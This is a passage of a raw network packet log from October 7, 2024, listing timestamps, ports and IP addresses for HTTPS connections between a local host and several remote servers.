Oct 7, 2024 20:59:04.602366924 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.602417946 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.602459908 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.602469921 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.602499008 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.602519035 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.603198051 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.603240967 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.603286028 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.603296995 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.603322029 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.603353024 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.604166985 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.604219913 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.604259968 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.604270935 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.604301929 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.604320049 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.653350115 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.653414011 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.653572083 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.653572083 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.653609037 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.653675079 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684305906 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684354067 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684421062 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684439898 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684495926 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684520960 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684523106 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684551954 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684597969 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684606075 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684634924 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684645891 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684674025 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684709072 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684889078 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.684964895 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.684976101 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.685034990 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.685060978 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.685118914 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.685133934 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.685161114 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.685161114 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.685204029 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.833111048 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.833499908 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.833561897 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.835244894 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.835336924 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.836468935 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.836616993 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.836721897 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.836740971 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.881138086 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:05.047106981 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:05.047230959 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:05.047312021 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:05.048392057 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:05.048438072 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:05.061455011 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.061503887 CEST	443	49738	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.061588049 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.061935902 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.061947107 CEST	443	49738	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.078522921 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.078563929 CEST	443	49739	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.078733921 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.079040051 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.079050064 CEST	443	49739	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.504426956 CEST	443	49738	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.504702091 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.504734993 CEST	443	49738	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.506169081 CEST	443	49738	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.506242037 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.506489992 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.506489992 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.506536961 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.506577015 CEST	443	49738	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.506633043 CEST	49738	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.506850004 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.506921053 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.507013083 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.507178068 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.507194996 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.535990000 CEST	443	49739	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.536247015 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.536274910 CEST	443	49739	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.540182114 CEST	443	49739	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.540292025 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.540539026 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.540561914 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.540589094 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.540879011 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.540899992 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.540950060 CEST	443	49739	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.540980101 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.541017056 CEST	49739	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.541246891 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.541260004 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.964822054 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.965090036 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.965118885 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.966552019 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.966630936 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.966876030 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.966959953 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:05.967009068 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:05.985918999 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.986152887 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.986166954 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.987849951 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.987929106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.988740921 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.988871098 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:05.988883018 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:05.989002943 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.007416010 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:06.015041113 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:06.015055895 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:06.031037092 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.031052113 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.063051939 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:06.078033924 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.284061909 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:06.284406900 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:06.284609079 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:06.285111904 CEST	49740	443	192.168.2.16	188.114.97.3
Oct 7, 2024 20:59:06.285139084 CEST	443	49740	188.114.97.3	192.168.2.16
Oct 7, 2024 20:59:06.354662895 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.354707003 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.354773045 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.354785919 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.354854107 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.354885101 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.354913950 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.354943991 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.354959011 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.355016947 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.355204105 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.398072958 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.398087978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.416843891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.416887045 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.417150021 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.417165041 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.417363882 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.437061071 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.437130928 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.437218904 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.437233925 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.437283993 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.437304974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.437333107 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.437372923 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.437913895 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.437989950 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.438051939 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.438066006 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.438127995 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.438743114 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.438819885 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.438852072 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.438873053 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.438889027 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.438947916 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.438961029 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.439429998 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.439466953 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.439501047 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.439516068 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.439574003 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.478015900 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.499207973 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.499262094 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.499290943 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.499314070 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.499381065 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.499381065 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.499413967 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.499479055 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.499490976 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.519906998 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520025969 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520024061 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.520056009 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520133972 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520207882 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.520227909 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520258904 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.520277023 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520308018 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.520315886 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.520343065 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.520373106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.520951033 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.521034002 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.521042109 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.521055937 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.521100044 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.521119118 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.521682978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.521756887 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.521758080 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.521774054 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.521826982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.522542953 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.522623062 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.522748947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.522820950 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.523539066 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.523614883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.523677111 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.523742914 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.581994057 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.582077026 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.582094908 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.582108974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.582135916 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.582139015 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.582199097 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.582209110 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.582264900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.582819939 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.582900047 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.583144903 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.583223104 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.602875948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.602977991 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.602982044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.602997065 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.603142977 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.603142977 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.603821993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.603899956 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.603913069 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.603981972 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.604351997 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.604428053 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.604439974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.604509115 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.605158091 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.605235100 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.605334044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.605412006 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.606091022 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.606167078 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.606256008 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.606319904 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.607052088 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.607117891 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.607207060 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.607283115 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.607988119 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.608067989 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.608114004 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.608177900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.608959913 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.609040976 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.609110117 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.609175920 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.609903097 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.609981060 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.664618969 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.664709091 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.664712906 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.664730072 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.664777994 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.664796114 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.664822102 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.664874077 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.664886951 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.664913893 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665261030 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665330887 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665342093 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665375948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665395021 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665406942 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665431976 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665438890 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665474892 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665488005 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665513039 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665515900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665549994 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.665565014 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.665622950 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.685229063 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.685385942 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.685472012 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.685492992 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.685545921 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.685935974 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.685971022 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.686016083 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.686029911 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.686058998 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.686501026 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.686527967 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.686570883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.686583042 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.686623096 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.687112093 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.687135935 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.687185049 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.687196970 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.687226057 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.687819004 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.687838078 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.687894106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.687908888 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.687938929 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.734064102 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.747637033 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.747807980 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.747831106 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.747862101 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.747906923 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.747921944 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.747952938 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.747982025 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.748011112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.748024940 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.748087883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.748147964 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.748223066 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:06.749062061 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.749140978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:06.749144077 CEST	49741	443	192.168.2.16	104.21.57.143
